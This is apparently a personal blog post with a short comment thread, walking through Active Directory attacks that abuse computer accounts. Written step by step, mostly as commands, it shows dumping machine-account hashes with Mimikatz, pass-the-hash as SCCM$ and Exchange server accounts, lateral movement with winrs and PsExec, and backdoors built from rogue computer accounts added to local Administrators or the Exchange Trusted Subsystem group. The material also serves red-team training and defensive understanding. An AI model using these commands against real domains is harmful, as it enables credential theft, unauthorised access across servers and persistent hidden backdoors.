Computer accounts can move laterally too!

Introduction

Computer accounts in Active Directory can be abused as well, but it’s not something we hear often, because lets face it. It’s not the first thing that comes up in to our mind, when we’re thinking about moving laterally to another machine with a computer account.

Before we go further in to all the details on how this can be abused. Lets first have a basic understanding on what a Computer account is in Active Directory.

Computer accounts are objects that contains details about a computer that has joined to Active Directory. They are security principals like users and groups and do have attributes like membership, last logged on, security identifier, and so on.

When you add a computer to a domain. It will create automatically a computer object and store it in the Computers container and add it to the Domain Computers group. All of these computers are created, because they provide central management, which helps IT admins manage the workstations and the servers properly. Like pushing Group Policy settings across multiple systems for example. Instead of manually configuring each individual workstation or server.

A nice to know is that Computer accounts rotate their password each 30 days by default, but this can be changed. The setting that manages this is stored in the registry location: HKLM\SYSTEM\CurrentControlSet\Services\NetLogon\Parameters

There is also an option to disable password rotation for computer accounts, which can be done by changing the value of the DisablePasswordChange DWORD.

Each Windows computer maintenance a machine account password that is stored in the following registry location: HKLM\SECURITY\Policy\Secrets\$machine.ACC

When taking a look at the Local Security Authority (LSA) that manages all the secrets in Windows. We can indeed see the NT hash of the machine account.

  • Pass-the-Hash with Computer accounts

Lets assume that we’ve compromised the SCCM server, but the user that’s currently logged on that box doesn’t has much privileges in the environment. Does that mean we that we got stuck now? Not immediately, because there is always a chance, that a computer account has been added to the local Administrators group on a workstation or server. Perhaps even both, which might open more attack paths for us.

We are first going to dump the credentials from memory to obtain the NT hash of the SCCM$ computer account. You can recognize computer accounts with the dollar sign they have.

privilege::debug
sekurlsa::logonPasswords

We now have the credentials, so lets execute a Pass-the-Hash attack with this SCCM$ computer account.

sekurlsa::pth /user:SCCM$ /domain:IDENTITY /ntlm:e722dfcd077a2b0bbe154a1b42872f4e /run:powershell

Now we have opened a session as the SCCM$ computer account. Lets find what kind of access this account has in the environment.

Import-Module .\Powerview.ps1
Find-LocalAdminAccess

It seems like we have access to the SQLSERVER2012 machine, but lets verify it first.

Get-NetLocalGroupMember -Method API -ComputerName SQLSERVER2012

After we have verified that we indeed have access. We can start moving laterally to the SQLSERVER2012 machine.

And as you can see. Mission has been achieved, because we were able to use the SCCM$ computer account to connect to the SQLSERVER2012 machine.

winrs -r:SQLSERVER2012.IDENTITY.local cmd.exe
  • Create malicious computer account

Perhaps we would like to have a backdoor on the SQLSERVER2012 after we have obtained access, but is there a way to do that with Computer accounts for example?

By default, every authenticated user can add 10 computers to a domain, because of the ms-DS-MachineAccountQuota attribute. The password of all pre-created computer accounts don’t expire, because no physical machine has been joined to AD.

Lets start with creating a malicious computer account.

Import-Module .\Powermad.ps1
New-MachineAccount -MachineAccount FAKEPC -Password $(ConvertTo-SecureString 'Passw0rd!' -AsPlainText -Force) -Verbose

We are now going to add our malicious computer account to the local Administrators group on the SQLSERVER2012 machine.

winrs -r:SQLSERVER2012.IDENTITY.local net localgroup administrators "IDENTITY\FAKEPC$" /add

Now lets take a look to see if our computer account has been successfully added to the local Administrators group of our target.

Get-NetLocalGroupMember -Method API -ComputerName SQLSERVER2012

Last, but not least. We need to be able to abuse our backdoor as well, which can be done through the following steps.

First we need to run under the context of the FAKEPC$ account.

runas /USER:IDENTITY\FAKEPC$ /netonly cmd
Enter the password for IDENTITY\FAKEPC$: Passw0rd!

We are now running under the context of FAKEPC$, so lets move laterally with this computer account to the SQLSERVER2012 machine.

winrs -r:SQLSERVER2012.IDENTITY.local cmd

  • Exchange Trusted Subsystem

Every organization that has done an Exchange installation might be familiar with the Exchange Trusted Subsystem, group.

This group contains all the Exchange computer accounts and the group itself is a member of the local Administrators group on all the Exchange servers in the environment, because it needs these rights to do things on other servers.

Here you can see, when we’re enumerating this AD group. All the Exchange computer accounts will be shown. There are three Exchange servers as we can see.

net group "Exchange Trusted Subsystem" /domain

As said before, Exchange Trusted Subsystem is a member of the local Administrators group on all the Exchange servers.

Import-Module .\Powerview.ps1
Get-NetLocalGroupMember -Method API -ComputerName EXCHANGE003

If we just compromise one Exchange server, we compromise all the Exchange servers in environment.

Lets say that we’ve manage to compromise one Exchange server and we extracted the credentials from memory.

privilege::debug
sekurlsa::logonPasswords

With those obtained credentials, we can execute a Pass-the-Hash attack with the EXCHANGESERVER$ computer account.

sekurlsa::pth /user:EXCHANGESERVER$ /domain:IDENTITY /ntlm:143e805dacb239ee77da60a456c082c8 /run:powershell.exe

Now we have a session as the EXCHANGESERVER$ account, that allow us to connect to other Exchange servers. Lets verify that we indeed have access to all the Exchange servers.

As you can see, we do!

Import-Module .\Powerview.ps1
Find-LocalAdminAccess

First, we are connecting to the EXCHANGE003 server and we can see that it works, but do we have access to the EXCHANGE004 server as well?

.\PsExec \\EXCHANGE003 cmd

Yes, we do have access to the EXCHANGE004 server as well.

.\PsExec \\EXCHANGE004 cmd
  • Backdoor Exchange servers

Exchange servers are valuable target, but as an attacker. We don’t want to lose a foothold on a compromised Exchange server. A great way to do this is by creating a malicious computer account and add it to the Exchange Trusted Subsystem group to pretend, that it’s just another Exchange server.

Import-Module .\Powermad.ps1
New-MachineAccount -MachineAccount EXCHANGE005 -Password $(ConvertTo-SecureString 'Passw0rd!' -AsPlainText -Force) -Verbose

Add the created computer account to the Exchange Trusted Subsystem group.

Add-ADGroupMember -Identity "Exchange Trusted Subsystem" -Members 'EXCHANGE005$'

Now lets say that we lost our foothold. This means that we can use our created computer account to retain access.

First we need to run under the context of our computer account, which is in this case. EXCHANGE005$

runas /USER:IDENTITY\EXCHANGE005$ /netonly cmd
Enter the password for IDENTITY\EXCHANGE005$: Passw0rd!

Now we can get access to all the Exchange servers again, because our computer account is a member of the Exchange Trusted Subsystem group, and that group is a local admin on all the Exchange servers.

.\PsExec.exe \\EXCHANGE004 cmd

Conclusion

Computer accounts can move laterally as well, but they have always been overlooked, because you can’t log on locally or RDP with it. However, this doesn’t mean that they can’t be abused in a Pass-the-Hash attack for example.

Reference

BlueHat IL 2018 – Marina Simakov & Itai Grady – Computers Gone Rogue

Published by Huy

I have no idea what I'm doing.

3 thoughts on “Computer accounts can move laterally too!

  1. Why did this SCCM$ machine account is a administrator on SQLSERVER2012? Did these two machine have the same mS-DS-CreatorSID? But I tested it, the answer is no.

    Like

      1. Interesting! I know it’s a example, but I’m interested in how did you added the SCCM$ machine account in administrators group on another pc.

        Like

Leave a Reply

Fill in your details below or click an icon to log in:

WordPress.com Logo

You are commenting using your WordPress.com account. Log Out /  Change )

Google photo

You are commenting using your Google account. Log Out /  Change )

Twitter picture

You are commenting using your Twitter account. Log Out /  Change )

Facebook photo

You are commenting using your Facebook account. Log Out /  Change )

Connecting to %s

%d bloggers like this: